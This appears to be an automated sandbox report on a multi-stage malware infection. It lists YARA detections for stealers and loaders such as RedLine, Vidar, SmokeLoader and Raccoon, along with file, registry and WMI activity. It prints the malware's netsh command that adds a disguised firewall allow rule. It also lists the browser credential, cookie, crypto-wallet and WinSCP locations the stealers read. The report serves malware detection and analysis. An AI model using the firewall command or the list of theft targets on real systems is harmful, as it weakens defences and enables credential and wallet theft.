Source: C:\Windows\System32\svchost.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66AE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\66AE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Queries volume information: C:\ProgramData\8N7OSER12M2JY3K68V6CGNPA9\files\Autofill\Google Chrome_Default.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Queries volume information: C:\ProgramData\8N7OSER12M2JY3K68V6CGNPA9\files\CC\Google Chrome_Default.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Queries volume information: C:\ProgramData\8N7OSER12M2JY3K68V6CGNPA9\files\Cookies\Edge_Cookies.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Queries volume information: C:\ProgramData\8N7OSER12M2JY3K68V6CGNPA9\files\Cookies\Google Chrome_Default.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Queries volume information: C:\ProgramData\8N7OSER12M2JY3K68V6CGNPA9\files\Cookies\IE_Cookies.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Queries volume information: C:\ProgramData\8N7OSER12M2JY3K68V6CGNPA9\files\Downloads\Google Chrome_Default.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Queries volume information: C:\ProgramData\8N7OSER12M2JY3K68V6CGNPA9\files\Files\11111.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Queries volume information: C:\ProgramData\8N7OSER12M2JY3K68V6CGNPA9\files\History\Google Chrome_Default.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Queries volume information: C:\ProgramData\8N7OSER12M2JY3K68V6CGNPA9\files\information.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Queries volume information: C:\ProgramData\8N7OSER12M2JY3K68V6CGNPA9\files\passwords.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\t7p1ekMto0.exe

Code function: 0_2_004015C1 __EH_prolog,GetLocalTime,_abort,DeleteTimerQueueTimer,SetConsoleOutputCP,GetConsoleAliasesLengthA,LeaveCriticalSection,SetEnvironmentVariableW,GetCPInfoExA,GetMailslotInfo,GetTimeZoneInformation,FillConsoleOutputCharacterW,GetModuleHandleW,WriteConsoleOutputCharacterA,SetLastError,lstrlenW,SetConsoleCursorPosition,ReleaseMutex,GetOEMCP,HeapSetInformation,_malloc,

0_2_004015C1

Source: C:\Users\user\Desktop\t7p1ekMto0.exe

0_2_004015C1

Source: C:\Users\user\AppData\Local\Temp\6A0A.exe

Code function: 25_2_0045F3B7 GetUserNameA,

25_2_0045F3B7

Source: C:\Users\user\AppData\Local\Temp\7DF2.exe

Code function: 30_2_0040405E CreateEventA,ExitProcess,CloseHandle,CreateNamedPipeA,Sleep,CloseHandle,ConnectNamedPipe,GetLastError,DisconnectNamedPipe,CloseHandle,CloseHandle,CloseHandle,

30_2_0040405E

Source: C:\Users\user\AppData\Local\Temp\6A0A.exe

Code function: 25_2_0040E962 _memset,GetVersionExA,

25_2_0040E962

Lowering of HIPS / PFW / Operating System Security Settings:

Uses netsh to modify the Windows network and firewall settings

Show sources

Source: C:\Users\user\AppData\Local\Temp\7DF2.exe

Process created: C:\Windows\SysWOW64\netsh.exe 'C:\Windows\System32\netsh.exe' advfirewall firewall add rule name='Host-process for services of Windows' dir=in action=allow program='C:\Windows\SysWOW64\svchost.exe' enable=yes>nul

Changes security center settings (notifications, updates, antivirus, firewall)

Show sources

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Modifies the windows firewall

Show sources

Source: C:\Users\user\AppData\Local\Temp\7DF2.exe

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 28.0.76BD.exe.250000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000000.391036397.0000000000252000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 76BD.exe PID: 6288, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\76BD.exe, type: DROPPED

Yara detected Vidar

Show sources

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 1.2.t7p1ekMto0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.1.wshgiwf.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.wshgiwf.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.t7p1ekMto0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.311292534.00000000006A1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.365865503.0000000002030000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.311232901.0000000000530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.365919916.00000000022F1000.00000004.00000001.sdmp, type: MEMORY

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 23.0.6209.exe.4920e50.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.6209.exe.49c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.6209.exe.49c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.6209.exe.4920e50.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.6209.exe.4920e50.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.6209.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.6209.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.6209.exe.4920e50.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000002.403838599.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.391894159.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.389228676.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.401300307.00000000049B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.390212734.0000000004920000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.382214988.00000000049C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.398889500.0000000004920000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.408866213.0000000004920000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6209.exe PID: 2392, type: MEMORYSTR

Yara detected Ades Stealer

Show sources

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 24.2.66AE.exe.2970250.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.2970250.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.2970000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.2970000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.12be8b50.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.12be8900.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.12be8b50.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.12be8900.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.12c74088.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000000.403386190.0000000000492000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.434552178.0000000012B41000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.437001553.0000000012BE8000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 66AE.exe PID: 1564, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe, type: DROPPED

Yara detected Telegram RAT

Show sources

Source: Yara match	File source: 24.2.66AE.exe.2970250.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.2970250.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.2970000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.2970000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.12be8b50.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.12be8900.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.12be8b50.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.12be8900.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.12c74088.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000000.403386190.0000000000492000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.434552178.0000000012B41000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.437001553.0000000012BE8000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 66AE.exe PID: 1564, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe, type: DROPPED

Yara detected Vidar stealer

Show sources

Source: Yara match	File source: 25.2.6A0A.exe.4060e50.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.3.6A0A.exe.4100000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.6A0A.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.6A0A.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.6A0A.exe.4060e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.3.6A0A.exe.4100000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.477885557.0000000004060000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.388452160.0000000004100000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6A0A.exe PID: 1056, type: MEMORYSTR

Yara detected Tofsee

Show sources

Source: Yara match	File source: 30.2.7DF2.exe.2f00e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.7DF2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.7DF2.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.3.7DF2.exe.4900000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.398935339.0000000004900000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7DF2.exe PID: 3464, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Show sources

Source: 66AE.exe, 00000018.00000002.431222214.0000000002BEF000.00000004.00000001.sdmp	String found in binary or memory: %\Wallets\DashCore\)\DashCore\wallet.dat#\Electrum\wallets%\Wallets\Electrum\%\Ethereum\keystore%\Wallets\Ethereum\-\Exodus\exodus.wallet\!\Wallets\Exodus\m\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: 6A0A.exe, 00000019.00000002.552244412.00000000051DD000.00000004.00000001.sdmp	String found in binary or memory: amData\8N7OSER12M2JY3K68V6CGNPA9\files\Wallets\ElectronCash
Source: 66AE.exe, 00000018.00000002.431222214.0000000002BEF000.00000004.00000001.sdmp	String found in binary or memory: %\Wallets\DashCore\)\DashCore\wallet.dat#\Electrum\wallets%\Wallets\Electrum\%\Ethereum\keystore%\Wallets\Ethereum\-\Exodus\exodus.wallet\!\Wallets\Exodus\m\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: 66AE.exe, 00000018.00000002.431222214.0000000002BEF000.00000004.00000001.sdmp	String found in binary or memory: %\Wallets\DashCore\)\DashCore\wallet.dat#\Electrum\wallets%\Wallets\Electrum\%\Ethereum\keystore%\Wallets\Ethereum\-\Exodus\exodus.wallet\!\Wallets\Exodus\m\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: 6A0A.exe, 00000019.00000002.552244412.00000000051DD000.00000004.00000001.sdmp	String found in binary or memory: \Wallets\ElectrumLTC
Source: 66AE.exe, 00000018.00000002.431222214.0000000002BEF000.00000004.00000001.sdmp	String found in binary or memory: %\Wallets\DashCore\)\DashCore\wallet.dat#\Electrum\wallets%\Wallets\Electrum\%\Ethereum\keystore%\Wallets\Ethereum\-\Exodus\exodus.wallet\!\Wallets\Exodus\m\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: 66AE.exe, 00000018.00000002.431222214.0000000002BEF000.00000004.00000001.sdmp	String found in binary or memory: %\Wallets\DashCore\)\DashCore\wallet.dat#\Electrum\wallets%\Wallets\Electrum\%\Ethereum\keystore%\Wallets\Ethereum\-\Exodus\exodus.wallet\!\Wallets\Exodus\m\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: 66AE.exe, 00000018.00000002.431222214.0000000002BEF000.00000004.00000001.sdmp	String found in binary or memory: %\Wallets\DashCore\)\DashCore\wallet.dat#\Electrum\wallets%\Wallets\Electrum\%\Ethereum\keystore%\Wallets\Ethereum\-\Exodus\exodus.wallet\!\Wallets\Exodus\m\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: 66AE.exe, 00000018.00000002.431222214.0000000002BEF000.00000004.00000001.sdmp	String found in binary or memory: %\Wallets\DashCore\)\DashCore\wallet.dat#\Electrum\wallets%\Wallets\Electrum\%\Ethereum\keystore%\Wallets\Ethereum\-\Exodus\exodus.wallet\!\Wallets\Exodus\m\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: 6A0A.exe, 00000019.00000002.552244412.00000000051DD000.00000004.00000001.sdmp	String found in binary or memory: \Wallets\MultiDoge
Source: 66AE.exe, 00000018.00000002.431222214.0000000002BEF000.00000004.00000001.sdmp	String found in binary or memory: %\Wallets\DashCore\)\DashCore\wallet.dat#\Electrum\wallets%\Wallets\Electrum\%\Ethereum\keystore%\Wallets\Ethereum\-\Exodus\exodus.wallet\!\Wallets\Exodus\m\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Show sources

Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Local\Temp\6A0A.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Source: Yara match	File source: 24.2.66AE.exe.2970250.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.2970250.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.2970000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.2970000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.12be8b50.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.12be8900.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.12be8b50.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.12be8900.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.12c74088.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.473202977.00000000024DD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000000.403386190.0000000000492000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.434552178.0000000012B41000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.437001553.0000000012BE8000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 66AE.exe PID: 1564, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6A0A.exe PID: 1056, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe, type: DROPPED

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 28.0.76BD.exe.250000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000000.391036397.0000000000252000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 76BD.exe PID: 6288, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\76BD.exe, type: DROPPED

Yara detected Vidar

Show sources

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 1.2.t7p1ekMto0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.1.wshgiwf.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.wshgiwf.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.t7p1ekMto0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.311292534.00000000006A1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.365865503.0000000002030000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.311232901.0000000000530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.365919916.00000000022F1000.00000004.00000001.sdmp, type: MEMORY

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 23.0.6209.exe.4920e50.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.6209.exe.49c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.6209.exe.49c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.6209.exe.4920e50.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.6209.exe.4920e50.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.6209.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.6209.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.6209.exe.4920e50.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000002.403838599.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.391894159.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.389228676.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.401300307.00000000049B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.390212734.0000000004920000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.382214988.00000000049C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.398889500.0000000004920000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.408866213.0000000004920000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6209.exe PID: 2392, type: MEMORYSTR

Yara detected Ades Stealer

Show sources

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 24.2.66AE.exe.2970250.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.2970250.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.2970000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.2970000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.12be8b50.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.12be8900.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.12be8b50.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.12be8900.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.12c74088.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000000.403386190.0000000000492000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.434552178.0000000012B41000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.437001553.0000000012BE8000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 66AE.exe PID: 1564, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe, type: DROPPED

Yara detected Telegram RAT

Show sources

Source: Yara match	File source: 24.2.66AE.exe.2970250.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.2970250.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.2970000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.2970000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.12be8b50.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.12be8900.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.12be8b50.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.12be8900.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.66AE.exe.12c74088.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000000.403386190.0000000000492000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.434552178.0000000012B41000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.437001553.0000000012BE8000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 66AE.exe PID: 1564, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe, type: DROPPED

Yara detected Vidar stealer

Show sources

Source: Yara match	File source: 25.2.6A0A.exe.4060e50.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.3.6A0A.exe.4100000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.6A0A.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.6A0A.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.6A0A.exe.4060e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.3.6A0A.exe.4100000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.477885557.0000000004060000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.388452160.0000000004100000.00000004.00000001.sdmp, type: MEMORY
